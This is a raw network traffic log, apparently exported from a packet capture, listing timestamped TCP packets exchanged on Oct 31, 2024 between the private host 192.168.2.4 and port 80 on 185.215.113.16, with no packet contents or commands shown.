Oct 31, 2024 03:04:23.177248001 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.177279949 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.177300930 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.177308083 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.177318096 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.177356958 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.177630901 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.177643061 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.177654028 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.177696943 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.177696943 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.177723885 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.177735090 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.177757978 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.177769899 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.177779913 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.177793980 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.177798033 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.177798033 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.177839041 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.177855968 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.177864075 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.177905083 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.177947998 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.177958965 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.177993059 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178004980 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178016901 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178037882 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.178037882 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.178069115 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.178092957 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178106070 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178128004 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178144932 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178155899 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178168058 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178169012 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.178169012 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.178200960 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.178214073 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.178239107 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178250074 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178260088 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178272009 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178303957 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.178303957 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.178308964 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178319931 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178339005 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.178384066 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178385973 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.178394079 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178410053 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178421021 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178440094 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.178457022 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.178462982 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178524017 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.178527117 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178544044 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178555012 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178566933 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178581953 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.178601027 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178606033 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.178642035 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.178668976 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178678989 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178683043 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.178689957 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178733110 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.178734064 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.178936005 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.178946972 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.179020882 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.179039001 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.179043055 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.179054976 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.179066896 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.179078102 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.179120064 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.179120064 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.179146051 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.179155111 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.179208040 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.179251909 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.179265022 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.179286957 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.179296970 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.179308891 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.179332018 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.179332018 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.179339886 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.179351091 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.179358959 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.179361105 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.179392099 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.179405928 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.179415941 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.179415941 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.179419041 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.179461002 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.179461002 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.213709116 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.213721991 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.213733912 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.213745117 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.213833094 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.213845968 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.213855028 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.213867903 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.213876963 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.213886976 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.213905096 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.213915110 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.213916063 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.213927984 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.213938951 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.213952065 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.213968992 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.213980913 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.213988066 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.213988066 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.213993073 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.214004040 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.214030027 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.214057922 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.258943081 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.258955002 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.258965015 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.258976936 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.258991003 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.259027958 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.259054899 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.259074926 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.259087086 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.259098053 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.259108067 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.259126902 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.259157896 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.259226084 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.259238005 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.259248018 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.259257078 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.259275913 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.259300947 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.259367943 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.259377956 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.259418964 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.294533014 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.294554949 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.294584036 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.294606924 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.294616938 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.294630051 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.294631004 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.294668913 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.294698954 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.294711113 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.294739008 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.294749022 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.294749022 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.294759035 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.294804096 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.294811964 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.294811964 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.294814110 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.294856071 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.294857979 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.294903994 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.294917107 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.294925928 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.294944048 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.294944048 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.295015097 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.295018911 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.295028925 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.295039892 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.295056105 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.295085907 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.295711994 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.295773029 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.295839071 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.295850039 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.295891047 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.295900106 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.295906067 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.295911074 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.295929909 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.295943022 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.295953035 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.295953035 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.295975924 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.295995951 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296006918 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296037912 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.296077013 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296087980 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296099901 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296130896 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.296130896 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.296153069 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.296185970 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296210051 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296222925 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296231985 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296251059 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296272993 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.296272993 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.296278000 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296288967 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296303034 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.296343088 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.296461105 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296504974 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296516895 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296524048 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.296529055 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296534061 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296561956 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.296576023 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.296601057 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296617985 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296629906 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296642065 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296643019 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.296680927 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.296730042 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.296756983 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296767950 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296789885 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296808004 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.296814919 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296827078 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296850920 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296861887 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296901941 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.296901941 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.296901941 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.296914101 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296925068 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296935081 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296947002 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.296947002 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.296947002 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.296977043 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.297012091 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297024012 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297051907 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297060966 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.297060966 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.297065020 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297076941 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297107935 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.297141075 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297154903 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297168016 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297178984 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.297178984 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.297192097 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297205925 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297231913 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.297231913 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.297245979 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297256947 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297257900 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.297267914 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297278881 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297301054 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.297372103 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.297375917 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297386885 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297399044 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297436953 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.297436953 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.297527075 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297573090 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297596931 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.297624111 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.297646046 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297713995 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297713995 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.297725916 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297735929 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297780991 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.297780991 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.297864914 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297874928 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297899961 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297911882 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297919989 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.297926903 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297943115 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.297947884 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297959089 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.297979116 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.297991991 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.298000097 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.298003912 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.298013926 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.298041105 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.298121929 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.298156977 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.298168898 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.298178911 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.298211098 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.298252106 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.330646038 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.330672979 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.330684900 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.330696106 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.330707073 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.330718994 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.330730915 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.330761909 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.330773115 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.330776930 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.330790997 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.330801010 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.330807924 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.330816984 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.330858946 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.330863953 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.330863953 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.330869913 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.330881119 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.330929041 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.330929041 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.330929995 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.330940008 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.330952883 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.330970049 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.330996990 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.330996990 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.331027985 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.331043005 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.331049919 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.331052065 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.331096888 CET	63827	80	192.168.2.4	185.215.113.16
